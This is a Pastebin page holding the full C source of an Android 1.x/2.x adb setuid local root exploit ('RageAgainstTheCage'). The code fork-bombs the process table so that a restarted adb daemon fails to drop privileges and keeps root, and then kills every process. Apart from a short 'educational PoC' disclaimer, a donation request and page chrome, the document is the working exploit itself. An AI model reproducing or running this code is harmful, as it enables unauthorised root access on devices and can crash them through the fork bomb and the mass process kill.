Advertisement
0xroot

rageagainstthecage for android

Mar 14th, 2011
381
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.29 KB | None | 0 0
  1. /* android 1.x/2.x adb setuid() root exploit
  2.  * (C) 2010 The Android Exploid Crew
  3.  *
  4.  * Needs to be executed via adb -d shell. It may take a while until
  5.  * all process slots are filled and the adb connection is reset.
  6.  *
  7.  * !!!This is PoC code for educational purposes only!!!
  8.  * If you run it, it might crash your device and make it unusable!
  9.  * So you use it at your own risk!
  10.  */
  11. #include <stdio.h>
  12. #include <sys/types.h>
  13. #include <sys/time.h>
  14. #include <sys/resource.h>
  15. #include <unistd.h>
  16. #include <fcntl.h>
  17. #include <errno.h>
  18. #include <string.h>
  19. #include <signal.h>
  20. #include <stdlib.h>
  21.  
  22.  
  23. void die(const char *msg)
  24. {
  25.     perror(msg);
  26.     exit(errno);
  27. }
  28.  
  29. pid_t find_adb()
  30. {
  31.     char buf[256];
  32.     int i = 0, fd = 0;
  33.     pid_t found = 0;
  34.  
  35.     for (i = 0; i < 32000; ++i) {
  36.         sprintf(buf, "/proc/%d/cmdline", i);
  37.         if ((fd = open(buf, O_RDONLY)) < 0)
  38.             continue;
  39.         memset(buf, 0, sizeof(buf));
  40.         read(fd, buf, sizeof(buf) - 1);
  41.         close(fd);
  42.         if (strstr(buf, "/sbin/adb")) {
  43.             found = i;
  44.             break;
  45.         }
  46.         }
  47.         return found;
  48. }
  49.  
  50.  
  51. void restart_adb(pid_t pid)
  52. {
  53.     kill(pid, 9);
  54. }
  55.  
  56.  
  57. void wait_for_root_adb(pid_t old_adb)
  58. {
  59.     pid_t p = 0;
  60.  
  61.     for (;;) {
  62.         p = find_adb();
  63.         if (p != 0 && p != old_adb)
  64.             break;
  65.         sleep(1);
  66.     }
  67.     sleep(5);
  68.     kill(-1, 9);
  69. }
  70.  
  71.  
  72. int main(int argc, char **argv)
  73. {
  74.     pid_t adb_pid = 0, p;
  75.     int pids = 0, new_pids = 1;
  76.     int pepe[2];
  77.     char c = 0;
  78.     struct rlimit rl;
  79.  
  80.     printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
  81.     printf("[*] checking NPROC limit ...\n");
  82.  
  83.     if (getrlimit(RLIMIT_NPROC, &rl) < 0)
  84.         die("[-] getrlimit");
  85.  
  86.     if (rl.rlim_cur == RLIM_INFINITY) {
  87.         printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
  88.         exit(1);
  89.     }
  90.  
  91.     printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
  92.     printf("[*] Searching for adb ...\n");
  93.  
  94.     adb_pid = find_adb();
  95.  
  96.     if (!adb_pid)
  97.         die("[-] Cannot find adb");
  98.  
  99.     printf("[+] Found adb as PID %d\n", adb_pid);
  100.     printf("[*] Spawning children. Dont type anything and wait for reset!\n");
  101.     printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
  102.            "[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
  103.            "[*] If you are a company and feel like you profit from our work,\n"
  104.            "[*] we also accept donations > 1000 USD!\n");
  105.     printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");
  106.  
  107.     sleep(5);
  108.  
  109.     if (fork() > 0)
  110.         exit(0);
  111.  
  112.     setsid();
  113.     pipe(pepe);
  114.  
  115.     /* generate many (zombie) shell-user processes so restarting
  116.      * adb's setuid() will fail.
  117.      * The whole thing is a bit racy, since when we kill adb
  118.      * there is one more process slot left which we need to
  119.      * fill before adb reaches setuid(). Thats why we fork-bomb
  120.      * in a seprate process.
  121.      */
  122.     if (fork() == 0) {
  123.         close(pepe[0]);
  124.         for (;;) {
  125.             if ((p = fork()) == 0) {
  126.                 exit(0);
  127.             } else if (p < 0) {
  128.                 if (new_pids) {
  129.                     printf("\n[+] Forked %d childs.\n", pids);
  130.                     new_pids = 0;
  131.                     write(pepe[1], &c, 1);
  132.                     close(pepe[1]);
  133.                 }
  134.             } else {
  135.                 ++pids;
  136.             }
  137.         }
  138.     }
  139.  
  140.     close(pepe[1]);
  141.     read(pepe[0], &c, 1);
  142.  
  143.  
  144.     restart_adb(adb_pid);
  145.  
  146.     if (fork() == 0) {
  147.         fork();
  148.         for (;;)
  149.             sleep(0x743C);
  150.     }
  151.  
  152.     wait_for_root_adb(adb_pid);
  153.     return 0;
  154. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement